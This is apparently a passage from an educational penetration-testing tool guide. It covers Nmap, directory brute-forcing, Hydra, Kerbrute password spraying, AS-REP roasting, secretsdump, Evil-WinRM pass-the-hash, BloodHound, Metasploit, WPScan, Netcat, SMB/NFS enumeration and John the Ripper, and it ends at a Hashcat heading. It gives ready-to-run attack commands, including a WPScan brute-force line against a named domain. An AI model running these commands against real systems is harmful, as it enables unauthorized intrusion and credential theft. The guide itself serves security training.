9. Nmap SSL/TLS Cipher Enumeration
nmap --script ssl-enum-ciphers -p 443 192.168.111.130

This command analyzes the SSL/TLS configuration of a server running on HTTPS (port 443) and lists supported encryption ciphers and protocols.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • --script ssl-enum-ciphers → Enumerates SSL/TLS ciphers
  • -p 443 → HTTPS port
  • 192.168.111.130 → Target server
🎯 Why This Scan Is Important
  • ✔ Detects weak encryption (RC4, 3DES)
  • ✔ Finds deprecated protocols (SSLv2, SSLv3, TLS 1.0)
  • ✔ Helps assess compliance (PCI-DSS, ISO)
🚨 Common Risks Found
  • 🚨 Weak ciphers enabled
  • 🚨 Legacy SSL/TLS versions supported
⚠️ Weak SSL/TLS settings allow downgrade and MITM attacks.

10. Nmap ACK Scan – Firewall Rule Detection
nmap -sA 192.168.111.130

This command performs an ACK scan to determine whether a host is protected by a stateful firewall and which ports are filtered or unfiltered.

🧩 Command Explanation
  • -sA → ACK scan (firewall analysis)
  • 192.168.111.130 → Target IP
🎯 What This Scan Reveals
  • ✔ Presence of firewall rules
  • ✔ Which ports are filtered
  • ✔ Network security posture
💡 ACK scans do NOT detect open ports — only firewall behavior.

️11. Nmap Service Version & Banner Grabbing
nmap -sV --script banner 192.168.111.130

This command detects running services and attempts to grab service banners that may reveal software names and versions.

🧩 Command Explanation
  • -sV → Service version detection
  • --script banner → Banner grabbing
🎯 Why Banner Grabbing Matters
  • ✔ Reveals exact software versions
  • ✔ Helps match known vulnerabilities
  • ✔ Saves time during exploitation
🚨 Banner disclosure makes vulnerability matching trivial.

12. Nmap Full Port Scan (All 65,535 Ports)
nmap -p- -T5 --max-retries 10 192.168.111.130

This command scans all TCP ports on the target system using an aggressive timing template.

⚠️ High-Intensity Scan
  • 🚨 Very noisy
  • 🚨 Easily detected by IDS/IPS
🎯 When to Use
  • ✔ Authorized internal assessments
  • ✔ CTFs and labs
  • ✔ When stealth is not required
⚠️ Never run full port scans without explicit permission.

13. Nmap Output to File (Normal Format)
nmap 192.168.111.130 -oN filename.txt

This command saves scan results to a text file for documentation and reporting.

🎯 Why This Is Important
  • ✔ Required for reports
  • ✔ Enables result comparison
  • ✔ Supports evidence collection
💡 Always save scan output during professional engagements.

14. Nmap Scan Using Target File
nmap -iL TargetIPfile.txt

This command scans multiple targets listed inside a file.

🧩 Why Use This
  • ✔ Large-scale assessments
  • ✔ Organized target management
  • ✔ Automation-friendly
💡 Each line in the file should contain one IP or hostname.

15. Nmap Packet Trace – Deep Network Visibility
nmap 192.168.111.130 --packet-trace

This command displays raw packets sent and received during the scan for deep analysis.

🎯 Why Packet Trace Is Useful
  • ✔ Understand firewall behavior
  • ✔ Debug scan issues
  • ✔ Learn how Nmap works internally
⚠️ Output is very verbose and technical.
Key Takeaway:
Packet tracing reveals how networks respond — not just scan results.

Step Nmap Command Purpose (Why This Step) Key Options Meaning
1 nmap -sn 192.168.1.0/24 Identify live hosts (scope reduction) -sn → Ping only, no ports
2 nmap -sS -Pn --top-ports 100 <IP> Fast stealth discovery of common services -sS SYN scan, -Pn skip ping
3 nmap -sS --open -p 80,443,8080 <IP> Quick web service identification --open show open ports only
4 nmap -sV --script banner <IP> Service version & banner enumeration -sV version detection
5 nmap -p 80,443 --script http-* Web server misconfiguration discovery http-* HTTP enum scripts
6 nmap -p 21 --script ftp-anon,ftp-syst Check anonymous FTP access ftp-anon anonymous login
7 nmap -p 3306 --script mysql-empty-password Detect weak database authentication 3306 MySQL port
8 nmap --script smb-os-discovery -p 445 Windows OS and SMB enumeration 445 SMB service
9 nmap --script smb-vuln-ms17-010 -p 445 Check EternalBlue vulnerability ms17-010 SMB RCE bug
10 nmap -p 80 --script http-shellshock Detect Shellshock vulnerability http-shellshock CGI Bash flaw
11 nmap --script ssl-enum-ciphers -p 443 Identify weak SSL/TLS encryption ssl-enum-ciphers TLS analysis
12 nmap -sA <IP> Firewall rule & filtering analysis -sA ACK scan
13 nmap -p- -T5 <IP> Full port discovery (last resort) -p- all ports
14 nmap -iL targets.txt Large-scale scanning automation -iL input target list
15 nmap <IP> --packet-trace Deep packet-level troubleshooting --packet-trace raw packets
16 nmap <IP> -oN report.txt Save evidence for reporting -oN normal output

Tools.2 Gobuster – Directory & DNS Bruteforcing

Gobuster is a brute-force enumeration tool used to discover hidden directories, files, and DNS subdomains that are not publicly linked on websites.

Information Gathering:
Gobuster reveals hidden admin panels, backup files, APIs, configuration files, and subdomains that can expand the attack surface.

How Gobuster Works:
Gobuster uses wordlists and systematically sends HTTP or DNS requests to the target. When a valid response code (200, 301, 302) is received, the path or subdomain is considered valid.

How It Is Used:
Attackers use Gobuster to find hidden entry points. Defenders use it to identify exposed resources and harden web servers.

gobuster dir -u http://target -w wordlist.txt

Tools.3 Feroxbuster – High-Speed Web Content Discovery

Feroxbuster is a modern, high-speed web content discovery tool designed to quickly enumerate hidden files and directories.

Information Gathering:
Feroxbuster identifies hidden paths, nested directories, API endpoints, and development files that may contain sensitive data.

How Feroxbuster Works:
Built with asynchronous requests and recursion, Feroxbuster aggressively scans directories and automatically follows discovered paths to uncover deeper content.

How It Is Used:
Ethical hackers prefer Feroxbuster for large targets due to its speed and recursive scanning capabilities.

feroxbuster -u http://target

Tools.4 Dirb – Legacy Directory Enumeration

Dirb is a classic directory brute-force tool commonly referenced in CEH for foundational understanding of web enumeration.

Information Gathering:
Dirb discovers hidden directories and files using predefined wordlists.

How Dirb Works:
Dirb sends HTTP requests for each wordlist entry and checks server responses to identify valid paths.

How It Is Used:
Used for small-scale enumeration and learning basic brute-force concepts.

dirb http://target

Tools.5 Hydra – Online Password Attacks

Hydra is a powerful password attack tool used to test login credentials against various network services.

Information Gathering:
Hydra helps identify weak passwords, valid usernames, and authentication weaknesses in online services.

How Hydra Works:
Hydra performs rapid login attempts by combining usernames and password lists against supported protocols such as SSH, FTP, HTTP, SMB, RDP, and more.

How It Is Used:
Hydra is typically used after service discovery and enumeration, when the attacker knows a service is running and reachable.

📌 Basic Syntax
hydra -l user -P passwords.txt target service
📌 SSH Brute Force Using RockYou Wordlist
hydra -l username -P /usr/share/wordlists/rockyou.txt ssh://IP -V
  • -l → Single username
  • -P → Password list
  • ssh://IP → Target service and IP address
  • -V → Verbose mode (shows each attempt)
📌 Multiple Usernames Attack
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://IP
📌 HTTP Login Form Attack (POST Method)
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form \ "/login:user=^USER^&password=^PASS^:Login failed"
⚠️ Warning:
Hydra is an online attack tool. Excessive attempts may lock accounts, trigger alerts, or block your IP.
🚨 Legal Notice:
Use Hydra ONLY on systems you own or have explicit written permission to test. Unauthorized use is illegal.

Tools.6 Kerbrute – Active Directory Kerberos Enumeration

Kerbrute is a fast and stealthy tool used for enumerating valid usernames and performing password spraying attacks against Active Directory environments using the Kerberos authentication protocol.

Unlike traditional brute-force attacks that rely on SMB or LDAP, Kerbrute interacts directly with the Kerberos Key Distribution Center (KDC). Because Kerberos behaves differently for valid and invalid usernames, attackers can identify legitimate accounts without triggering many security alerts.

💡 Why Kerbrute is powerful:
  • Very fast multi-threaded enumeration
  • Identifies valid domain usernames
  • Performs password spraying attacks
  • Works without SMB access
  • Minimal logging compared to other attack methods
📌 Kerberos Enumeration Workflow

During internal penetration testing or Active Directory assessments, Kerbrute is typically used during the initial enumeration phase. The goal is to identify valid domain users that can later be targeted for password spraying, Kerberoasting, or other AD attacks.

Typical Attack Flow:
  1. Obtain domain name and domain controller IP
  2. Collect possible usernames (OSINT, email patterns, leaked data)
  3. Run Kerbrute username enumeration
  4. Identify valid domain users
  5. Perform password spraying or AS-REP roasting
📌 Kerbrute Installation Guide (Step-by-Step)

Before installing Kerbrute or any security tool, it is recommended to update your system packages to ensure compatibility and security.

1️⃣ Update and Upgrade System
sudo apt update && sudo apt upgrade -y
  • apt update → Updates package lists from repositories
  • apt upgrade → Upgrades installed packages to latest versions
  • -y → Automatically confirms installation prompts
💡 Tip: Keeping your system updated helps prevent installation errors and ensures the latest security patches are applied.
2️⃣ Install Kerbrute on Kali Linux

Kali Linux includes Kerbrute in its official repositories, making installation very simple.

sudo apt install kerbrute -y

After installation, verify that the tool works correctly:

kerbrute --help
✅ If the help menu appears, Kerbrute is installed successfully.
3️⃣ Install Kerbrute from GitHub (Manual Method)

If Kerbrute is not available in your repositories, you can install it manually from the official GitHub repository.

Step 1 – Install Go Programming Language

sudo apt install golang -y

Step 2 – Clone the Kerbrute repository

git clone https://github.com/ropnop/kerbrute.git

Step 3 – Enter the directory

cd kerbrute

Step 4 – Compile the tool

go build

Step 5 – Run Kerbrute

./kerbrute --help
📌 Optional: Move Kerbrute to Global Path

To run Kerbrute from anywhere in the terminal, move the binary to /usr/local/bin.

sudo mv kerbrute /usr/local/bin/
kerbrute --version
🔐 Security Tip:
Always update your system before installing penetration testing tools to avoid dependency issues and maintain a secure environment.

📌 Username Enumeration with Kerbrute

Kerbrute can quickly verify which usernames exist in the domain by observing Kerberos authentication responses.

kerbrute username -d domain_name --dc ip_address userlist.txt -o valid_users.txt
  • -d → Target domain name
  • --dc → Domain controller IP address
  • userlist.txt → List of potential usernames
  • -o → Output file to save valid usernames
⚠️ Important:
Kerberos responses differ between valid and invalid usernames. Kerbrute detects these differences to identify legitimate accounts.
📌 Password Spraying with Kerbrute

After discovering valid usernames, Kerbrute can perform password spraying attacks where a single password is tested against multiple accounts to avoid account lockouts.

kerbrute passwordspray -d domain.local users.txt Password123 --dc ip_address

This technique is commonly used because many organizations still use weak or predictable passwords.

📌 AS-REP Roasting with Impacket

If Kerberos pre-authentication is disabled for some users, attackers can extract encrypted authentication hashes using AS-REP Roasting.

impacket-GetNPUsers -dc-ip ip_address -usersfile userlist.txt -request domain.local/

The extracted hashes can then be cracked offline using tools like Hashcat or John the Ripper.

📌 Credential Dumping with Impacket (secretsdump)

After gaining valid credentials or administrative access, attackers may attempt to dump password hashes from a Windows system using the Impacket toolkit.

secretsdump extracts credential material such as:

  • NTLM password hashes
  • Kerberos keys
  • Local Security Authority (LSA) secrets
  • Cached domain credentials
impacket-secretsdump domain_name/user_name:password@ip

If the attack is successful, the tool may dump password hashes that can later be cracked offline or reused in pass-the-hash attacks.

⚠️ Important:
Credential dumping typically requires administrative privileges on the target system.
📌 Remote Access with Evil-WinRM

Evil-WinRM is a popular post-exploitation tool used to obtain a remote PowerShell shell on Windows systems using the Windows Remote Management (WinRM) service.

Attackers often use NTLM hashes obtained from tools like secretsdump to authenticate using a Pass-the-Hash attack.

evil-winrm -i ip_address -u username -H user_hash
  • -i → Target IP address
  • -u → Username
  • -H → NTLM hash for pass-the-hash authentication
💡 Typical Use Case:
  • Connect to compromised Windows servers
  • Execute PowerShell commands remotely
  • Upload and download files
  • Perform post-exploitation activities
📌 Installation (Kali Linux)
sudo apt install kerbrute

Alternatively, the tool can be downloaded directly from its GitHub repository and compiled using Go.

🔐 Security Insight:
Kerbrute is commonly used during Active Directory penetration tests to identify weak authentication configurations and misconfigured Kerberos settings within enterprise networks.
🚨 Legal & Ethical Notice:
Kerberos enumeration and password spraying should only be performed on systems you own or have explicit written authorization to test. Unauthorized attacks against corporate networks are illegal.

Tools.6A BloodHound – Active Directory Attack Path Analysis

BloodHound is a powerful single-page web application built on graph theory that reveals hidden and often unintended relationships within Active Directory environments [citation:2]. It uses Neo4j as its graph database backend to visualize attack paths that would otherwise be nearly impossible to identify manually [citation:2][citation:7].

Attackers use BloodHound to find the quickest path from a compromised account to Domain Admin. Defenders use it to identify and eliminate the same attack paths [citation:2][citation:7]. This dual-purpose tool has become essential for modern AD security assessments.

💡 Why BloodHound is the "Killer App" for AD:
  • Visualizes complex privilege relationships as interactive graphs
  • Automatically calculates shortest paths to Domain Admin
  • Identifies risky ACLs, delegations, and trust relationships
  • Continuously updated with new attack primitives (e.g., ADCS ESC1)
  • Community-driven query library for advanced analysis [citation:5]
📌 BloodHound Architecture & Workflow

BloodHound consists of two main components: a collector (SharpHound for Windows, BloodHound.py for Linux) and the analysis UI backed by a Neo4j database [citation:7][citation:10].

Typical Attack/Defense Flow:
  1. Data Collection: Run SharpHound on a domain-joined machine to gather AD relationships [citation:10].
  2. Ingestion: Upload the resulting ZIP/JSON files into the BloodHound UI [citation:6].
  3. Analysis: Use pre-built or custom Cypher queries to find attack paths [citation:5][citation:7].
  4. Exploitation/Mitigation: Execute the path or apply security fixes.

📌 BloodHound Installation Guide (Step-by-Step)

The standard setup involves installing Neo4j (the graph database) and the BloodHound application itself.

1️⃣ Update System & Install from Kali Repositories

On Kali Linux, installation is straightforward via apt [citation:2][citation:8].

sudo apt update && sudo apt upgrade -y
sudo apt install bloodhound neo4j -y
✅ This installs both BloodHound and the Neo4j database.
2️⃣ Configure and Start Neo4j

BloodHound requires Neo4j to be running. Start the service and change the default password [citation:2][citation:8].

sudo neo4j console

This starts Neo4j in the console. Open a browser and navigate to http://localhost:7474.

  • Default credentials: neo4j:neo4j [citation:2][citation:10].
  • You will be prompted to set a new password immediately.
⚠️ Important: Remember the new Neo4j password; you'll need it to log into BloodHound.
3️⃣ Launch BloodHound

After Neo4j is running, start BloodHound from the terminal [citation:2][citation:8].

bloodhound

The BloodHound UI will open. Log in using the credentials admin:admin (default). You will be asked to change this password on first login [citation:2].

4️⃣ Connect BloodHound to Neo4j

In the BloodHound login screen, enter the connection details:

  • URL: bolt://localhost:7687 (default Neo4j Bolt port)
  • Username: neo4j
  • Password: The new password you set earlier [citation:2].
🔐 Security Tip: Always change default passwords and run Neo4j with authentication enabled.

📌 Data Collection: SharpHound (The Collector)

SharpHound is the official C# data collector for BloodHound. It must be executed on a domain-joined Windows machine to gather AD data [citation:3][citation:10]. Importantly, it can be run with standard domain user rights, not necessarily admin privileges [citation:8].

Downloading SharpHound

The latest version is available from the BloodHound CE web UI (Settings → Download Collectors) or the GitHub releases page [citation:3].

Basic Collection Methods [citation:1][citation:3]
# Collect all data (most common)
SharpHound.exe -c All

# Stealth collection (prefer DC only to avoid network noise)
SharpHound.exe --CollectionMethods DCOnly

# Specific collection: Groups, Local Admin, Sessions, ACLs
SharpHound.exe -c Group,LocalAdmin,Sessions,ACL

# Target a specific domain
SharpHound.exe -d domain.local -c All

# Output to a specific directory
SharpHound.exe --outputdirectory C:\temp\
Understanding Collection Methods [citation:1][citation:3][citation:6]
Collection MethodDescription
DefaultLocal Admin, Session, Group, Trusts, ACLs, Object Props
DCOnlyCollects only from Domain Controllers (stealthier) [citation:1]
ComputerOnlyCollects data from computers
RDPEnumerates Remote Desktop Users group (CanRDP edge) [citation:6]
DCOMEnumerates Distributed COM Users group (ExecuteDCOM edge) [citation:6]
ACLObject permissions (ForceChangePassword, GenericAll, etc.) [citation:7]
ContainerCollects containers and OUs
CertServicesActive Directory Certificate Services (ADCS) attack paths (ESC1, ESC3, etc.) [citation:4][citation:9]

After execution, SharpHound outputs a timestamped ZIP file containing JSON data [citation:6]. Transfer this file to your BloodHound machine for analysis.

Alternative Collectors
  • BloodHound.py: Python implementation for Linux, useful when you can't run Windows binaries.
  • AzureHound: Collects data from Azure/Entra ID environments [citation:1][citation:4].

📌 Data Analysis: BloodHound Queries & Cypher

BloodHound comes with numerous pre-built analytical queries [citation:7]. For advanced analysis, you can write custom Cypher queries (the query language for Neo4j) [citation:5][citation:7].

Essential Pre-Built Queries [citation:1]
Query NameWhat It Finds
Find all Domain AdminsLists all users with Domain Admin rights
Shortest Path to Domain AdminsCritical attack paths from any node to DA
Find Principals with DCSync RightsWho can perform DCSync (simulate DC) to dump hashes [citation:1]
Kerberoastable UsersUsers with SPNs set, vulnerable to Kerberoasting
AS-REP Roastable UsersUsers with "Do not require Kerberos preauthentication"
Users with Unconstrained DelegationHigh-risk systems that can impersonate users [citation:1]
Find Computers with LAPS EnabledIdentify where LAPS is used (ReadLAPSPassword edge) [citation:6]
Custom Cypher Queries (Advanced)

BloodHound's true power lies in custom Cypher. Below are some high-value queries from the community and official library [citation:1][citation:5].

// 1. Find all users who can DCSync (Get changes to AD)
MATCH (n:User) WHERE n.hasDCSync = True RETURN n

// 2. Shortest path from a specific user to Domain Admin
MATCH p=shortestPath((u:User {samaccountname: "john.doe"})-[*1..]->(g:Group {name: "DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p

// 3. Find computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

// 4. Find Kerberoastable users with paths to High Value targets
MATCH (u:User {hasspn:true}) MATCH p = shortestPath((u)-[*1..]->(g:Group {highvalue:true})) RETURN p

// 5. Identify ACL abuse paths (e.g., GenericAll on a user)
MATCH p = (u:User)-[:GenericAll]->(u2:User) RETURN p

// 6. Enumerate users that can reset passwords of other users
MATCH p = (u:User)-[:ForceChangePassword]->(u2:User) RETURN p

// 7. Find all foreign group memberships (cross-domain)
MATCH (n:User) WHERE n.foreign = True RETURN n
💡 The BloodHound Query Library on GitHub contains dozens of community-contributed, production-tested Cypher queries [citation:5].
Edge Filtering & Visualization

BloodHound 2.0+ allows you to filter edges (e.g., exclude RDP or DCOM) to focus on specific attack types [citation:6]. You can also manually add/delete edges and nodes to model custom scenarios (e.g., a user known to have admin rights via a third-party app) [citation:6].


📌 Advanced Attack Primitives in BloodHound

BloodHound continuously adds new edge types representing modern AD attack techniques [citation:1][citation:4][citation:6].

Edge TypeDescription
CanRDPUser is in Remote Desktop Users group on a computer [citation:6]
ExecuteDCOMUser can execute DCOM applications on a target [citation:6]
ReadLAPSPasswordUser can read LAPS-managed local admin passwords [citation:6]
AllowedToDelegateConstrained delegation rights, can lead to DCSync [citation:6]
ADCS ESC1/ESC3/ESC4/... Certificate template vulnerabilities leading to domain compromise [citation:4][citation:9]
Marking Nodes as "Owned" and "High Value"

In the UI, you can right-click any node to mark it as Owned (skull icon) or High Value (diamond icon). This influences pathfinding and helps track progress during an assessment [citation:6].


🛡️ Blue Team: Using BloodHound for Defense

Defenders can (and should) run BloodHound proactively to find and fix the same paths attackers would use [citation:1][citation:7][citation:9].

  • Identify Tier Zero assets: Focus on protecting the most critical systems and accounts [citation:9].
  • Harden service accounts: Remove unnecessary privileges like DCSync or unconstrained delegation.
  • Audit ACLs: Look for over-privileged users (GenericAll, WriteDACL, ForceChangePassword) and remove them [citation:7].
  • Monitor SharpHound execution: SharpHound activity can be a detection opportunity [citation:8].
  • Regular "health checks": Schedule weekly data collection and review new attack paths [citation:9].

📋 Complete Command Reference
ActionCommandDescription
Installsudo apt install bloodhound neo4j -yInstall from Kali repos [citation:2][citation:8]
Start Neo4jsudo neo4j consoleLaunch Neo4j database [citation:2][citation:8]
Start BloodHoundbloodhoundOpen BloodHound UI [citation:2]
Collect All (Windows)SharpHound.exe -c AllFull data collection [citation:3][citation:8]
Stealth CollectSharpHound.exe --CollectionMethods DCOnlyMinimal network traffic [citation:1]
Collect ACLs OnlySharpHound.exe -c ACLPermission-focused [citation:7]
Custom Cypher (example)MATCH (n:User {hasspn:true}) RETURN nFind Kerberoastable users

BloodHound Pro Tips
  1. Always use the latest SharpHound version matching your BloodHound version [citation:3].
  2. Run SharpHound from a non-privileged domain account to simulate a real attacker [citation:8].
  3. For large domains, use --threads 10 to throttle collection and avoid network congestion [citation:3].
  4. Explore the Edge Help feature (right-click any edge → Help) to learn abuse techniques [citation:6].
  5. Combine with Blade for command-line querying and automation [citation:4].
🚨 Legal & Ethical Notice:
BloodHound and SharpHound should only be used on networks you own or have explicit written authorization to test. Unauthorized data collection or analysis may violate computer fraud and abuse laws and corporate policies [citation:2][citation:8].

Tools.7 Metasploit Framework (msfconsole)

Metasploit is a modular exploitation framework used to develop, test, and execute exploits against vulnerable systems. It's the most popular penetration testing framework in the world.

📌 In Simple Words: Metasploit is like a Swiss Army knife for hackers - it contains hundreds of pre-built exploits, payloads, and tools that automate the process of breaking into systems. Instead of writing exploit code from scratch, you just select the right module and configure it.
🔍 Information Gathering Role

Metasploit confirms vulnerabilities, exploit success, and post-exploitation access. It's used after initial scanning to:

  • Verify vulnerabilities: Confirm that a theoretical vulnerability actually exists
  • Test exploit success: See if an exploit works against the target
  • Gain access: Establish foothold on compromised systems
  • Post-exploitation: Gather data, pivot, maintain access
⚙️ How Metasploit Works

It combines three core components:

  • Exploits: Code that takes advantage of vulnerabilities
  • Payloads: Code that runs after successful exploitation (shell, Meterpreter)
  • Auxiliary modules: Scanning, fuzzing, and verification tools

Together, these automate exploitation and post-exploitation activities.

🚀 Getting Started with msfconsole

Start Metasploit
msfconsole
📋 Metasploit Basic Commands Cheat Sheet
Command Description Example
help or ?Show help menuhelp
search [keyword]Search for modulessearch ssh
use [module]Select a module to useuse auxiliary/scanner/ssh/ssh_version
show optionsShow required parametersshow options
set [option] [value]Set a parameter valueset RHOSTS 192.168.1.100
setg [option] [value]Set global parametersetg RHOSTS 192.168.1.100
unset [option]Clear a parameterunset RHOSTS
show payloadsShow available payloadsshow payloads
set PAYLOAD [payload]Select payloadset PAYLOAD linux/x86/shell_reverse_tcp
run or exploitExecute the modulerun or exploit
backExit current moduleback
workspaceManage workspacesworkspace -a target1
hostsShow discovered hostshosts
servicesShow discovered servicesservices
vulnsShow vulnerabilitiesvulns
sessionsList active sessionssessions -l
sessions -i [id]Interact with a sessionsessions -i 1
exitExit Metasploitexit

🔧 Basic Usage Workflow (Step-by-Step Example)

# Search for SSH related modules
search ssh

# Select a module
use auxiliary/scanner/ssh/ssh_login

# View required options
show options

# Set target host
set RHOSTS 192.168.1.10

# Set username
set USERNAME root

# Set password
set PASSWORD password123

# Run the module
run
                                     
📌 Important Options Explained
  • set RHOSTS – Specifies the target system IP address (Remote Host). This is the machine you want to scan or exploit.
  • set LHOST – Specifies the attacker machine IP address (Local Host). It is used for reverse shells so the target connects back to your system.
  • set USERNAME – Defines the username used during authentication attacks such as SSH, FTP, or login brute-force attempts.
  • set PASSWORD – Specifies the password used for authentication attempts. It can also be replaced with a password list for brute-force attacks.
📋 Command Workflow Summary
  • search – Finds available modules related to a service.
  • use – Loads the selected module.
  • show options – Displays required parameters.
  • set – Assigns values such as target IP, username, or password.
  • run / exploit – Executes the module.

⚠️ Pro Tips for Using Metasploit

✅ Do's:
  • Always use show options before running a module
  • Use setg for global variables (RHOSTS, LHOST)
  • Run db_nmap to store results in database
  • Use workspaces to organize different projects
  • Check info [module] for detailed module information
❌ Don'ts:
  • Don't run exploits without understanding them
  • Don't forget to set LHOST for reverse shells
  • Don't ignore firewall rules - test connectivity first
  • Don't leave Meterpreter sessions hanging
  • Don't run on production systems without authorization
📌 Key Takeaway: Metasploit is used after scanning and enumeration to gain shells and control systems. The workflow is always:
  1. search for relevant module
  2. use the module
  3. show options to see required parameters
  4. set all required values (RHOSTS, LHOST, etc.)
  5. run or exploit to execute
  6. sessions -i [id] to interact with successful shells

Tools.8 WPScan – WordPress Security Scanner

WPScan is a specialized WordPress vulnerability scanner used to identify security issues in WordPress websites, including weak credentials, vulnerable plugins, themes, and core files.

Information Gathering:
WPScan enumerates WordPress users, installed plugins, themes, WordPress versions, and detects known vulnerabilities using its continuously updated database.

How WPScan Works:
WPScan performs passive and active analysis of a WordPress site by sending crafted HTTP requests and comparing responses against its vulnerability database.

How It Is Used:
Used during WordPress penetration testing after web service discovery to identify misconfigurations, outdated components, and weak credentials.

Common WPScan Commands:

wpscan --update
wpscan --url https://notestime.in/ -e
wpscan --url https://notestime.in/ -e -p /usr/share/wordlists/rockyou.txt
wpscan --url https://notestime.in/ -U shekhar -p /usr/share/wordlists/rockyou.txt

Tools.9 WhatWeb – Website Technology Fingerprinting

WhatWeb is a web reconnaissance tool used to identify technologies, frameworks, CMS platforms, web servers, and security headers used by a target website.

Information Gathering:
WhatWeb detects CMS types, server software, programming languages, JavaScript libraries, analytics tools, and HTTP response headers.

How WhatWeb Works:
WhatWeb analyzes HTTP responses, page content, headers, cookies, and fingerprints to match known technology signatures.

How It Is Used:
Used during the reconnaissance and enumeration phase to understand the target’s web stack before vulnerability assessment.

whatweb https://example.com

Tools.10 Netcat – Network Utility & Listener Tool

Netcat (nc) is a versatile networking tool often referred to as the “Swiss Army Knife” of networking. It is widely used for port listening, banner grabbing, file transfers, and creating reverse or bind shells.

Information Gathering:
Netcat can capture raw network data, receive inbound connections, observe transmitted commands, and verify open ports and active services.

How Netcat Works:
Netcat reads and writes data across network connections using TCP or UDP. When used in listening mode, it waits for incoming connections on a specified port.

How It Is Used:
Commonly used during exploitation and post-exploitation phases to receive reverse shells, test connectivity, or act as a simple network listener.

nc -lvnp 1234

Tools.11 SMB Enumeration Tools – smbmap, smbclient, rpcclient, enum4linux

SMB (Server Message Block) enumeration is used to discover shared folders, users, permissions, and misconfigurations on Windows and Samba servers.

These tools are commonly used during internal network assessments and Active Directory enumeration.

📌 enum4linux – Automated SMB Enumeration

enum4linux automates SMB enumeration by combining multiple techniques into a single scan.

enum4linux -a IP
⚠️ Note:
SMB enumeration is often blocked by firewalls and modern Windows hardening. Null sessions may not work on patched systems.
📌 smbmap – SMB Share & Permission Discovery

smbmap checks accessible SMB shares and permissions using provided credentials.

smbmap -u USERNAME -p PASSWORD -H IP
📌 smbclient – Connect to SMB Shares

smbclient allows interactive access to SMB shares, similar to an FTP client.

smbclient \\\\IP\\SHARE -U USERNAME
📌 rpcclient – Remote Procedure Call Enumeration

rpcclient is used to query users, groups, and domain information from Windows systems.

rpcclient -U USERNAME -N IP
  • -U → Username
  • -N → No password (null session)
🚨 Legal & Ethical Notice:
Use these tools only on systems you own or have explicit written permission to test. Unauthorized SMB access is illegal.

Tools.12 NFS Enumeration – showmount, mount

NFS (Network File System) allows remote systems to share directories over a network. Misconfigured NFS shares can expose sensitive files and sometimes lead to privilege escalation.

NFS enumeration is commonly performed during internal network assessments and Linux privilege escalation.

📌 What Can Go Wrong with NFS?
  • World-readable shared directories
  • No authentication required
  • Writable shares mounted as root
  • Misuse of no_root_squash option
📌 showmount – Discover Exported NFS Shares

showmount queries an NFS server to list exported directories that are available to clients.

showmount -e IP
  • -e → Show exported file systems
  • IP → Target NFS server
💡 If a share is visible without authentication, it may be accessible.
📌 mount – Mounting an NFS Share Locally

Once a share is discovered, it can be mounted locally for inspection.

mkdir /mnt/nfs
mount -t nfs IP:/shared_directory /mnt/nfs
  • -t nfs → Specify NFS file system type
  • IP:/shared_directory → Remote NFS share
  • /mnt/nfs → Local mount point
📌 What to Look For After Mounting
  • Configuration files (.conf, .env)
  • SSH keys
  • Backup files
  • Scripts run by cron jobs
  • Files owned by root
⚠️ Important:
If the NFS share uses no_root_squash, files created as root on the client may remain owned by root on the server.
📌 Unmounting the Share
umount /mnt/nfs
🚨 Legal & Ethical Notice:
NFS enumeration and mounting must only be performed on systems you own or have explicit written permission to test. Unauthorized access is illegal.

Tools.13 John – Password Cracking

John the Ripper is a classic password cracking tool widely used for learning and practicing offline password attacks.

Information Gathering:
John is used after password hashes are obtained from systems, databases, or configuration files.

How John Works:
John compares hashed passwords against wordlist entries by hashing each word and matching the result.

How It Is Used:
Commonly used in CTFs and penetration testing to crack weak or reused passwords during post-exploitation.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt

📌 ssh2john – Convert SSH Keys to Crackable Hashes

ssh2john is a helper utility used with John the Ripper to convert encrypted SSH private keys into a hash format that John can crack.

It is commonly used after obtaining SSH private keys during post-exploitation, NFS/SMB enumeration, or backup file discovery.

ssh2john id_rsa > hash.txt
  • id_rsa → Encrypted SSH private key
  • hash.txt → Output file containing the converted hash
💡 The generated hash.txt is then cracked using John the Ripper.

Hash Generation with openssl passwd

The openssl passwd command generates password hashes using various algorithms. This is commonly used for creating password entries in Linux systems (like /etc/shadow) or for password cracking exercises.

📌 MD5-based Crypt Hash (Apache htpasswd style)

Command: Using -1 flag for MD5-based crypt with custom salt

openssl passwd -1 -salt THM password1

Result: $1$THM$bAZqDlusyTKK4kMQp8d2a.

  • -1 → Use MD5-based crypt algorithm
  • -salt THM → Use "THM" as the salt value
  • password1 → The plaintext password to hash

📌 All Available Hash Types with openssl passwd

Common crypt-style password hashing algorithms supported by openssl passwd. These formats are widely encountered in Linux systems, configuration files, and CTF challenges.

Algorithm OpenSSL Command Description / Usage
Traditional Unix Crypt (DES) openssl passwd -crypt -salt TH password1 Legacy DES-based crypt using a 2-character salt. Rare today, but still appears in old Unix systems and exams.
MD5-Crypt (Standard Linux) openssl passwd -1 -salt THM password1 Standard MD5-based crypt format used in older Linux systems. Fast and weak; commonly cracked in CTFs.
APR1 (Apache MD5-Crypt) openssl passwd -apr1 -salt THM password1 Apache-specific MD5-crypt format used in .htpasswd files.
SHA-256 Crypt openssl passwd -5 -salt THM password1 SHA-256 based crypt format supported by modern Linux systems. More secure than MD5-crypt.
SHA-512 Crypt openssl passwd -6 -salt THM password1 Default and recommended password hash format for modern Linux distributions. Strong and widely supported.
bcrypt (Limited Support) openssl passwd -bcrypt password1 Adaptive hashing algorithm resistant to brute-force attacks. Support depends on OpenSSL version.
Extended DES Crypt openssl passwd -crypt password1 Extended DES-based crypt variant. Mostly obsolete but still referenced in legacy systems.

📌 Alternative Hash Generation Methods

For CTFs and penetration testing, you might need other hash formats:

📌 mkpasswd – Linux Password Hash Generator

mkpasswd (from the whois package) is a Linux utility used to generate crypt-style password hashes similar to openssl passwd. It is commonly used by system administrators and in CTF environments.


mkpasswd -m md5 password1
mkpasswd -m sha-256 password1
mkpasswd -m sha-512 password1
                             
📌 htpasswd – Apache Authentication Hashes

htpasswd is used to create authentication hashes for Apache-protected directories and web applications, such as .htpasswd files.


htpasswd -nbm user password1   # MD5
htpasswd -nbs user password1   # SHA-1
htpasswd -nbB user password1   # bcrypt
                             
📌 Hashcat – Hash Generation (Utility Mode)

